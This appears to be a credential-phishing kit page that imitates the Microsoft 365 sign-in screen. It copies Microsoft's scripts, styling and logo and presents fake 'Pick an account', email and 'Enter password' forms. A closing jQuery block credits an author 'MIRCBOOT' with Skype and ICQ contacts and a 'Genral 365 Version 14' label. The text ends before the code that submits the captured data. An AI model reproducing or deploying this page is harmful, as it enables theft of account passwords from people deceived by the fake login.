:"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

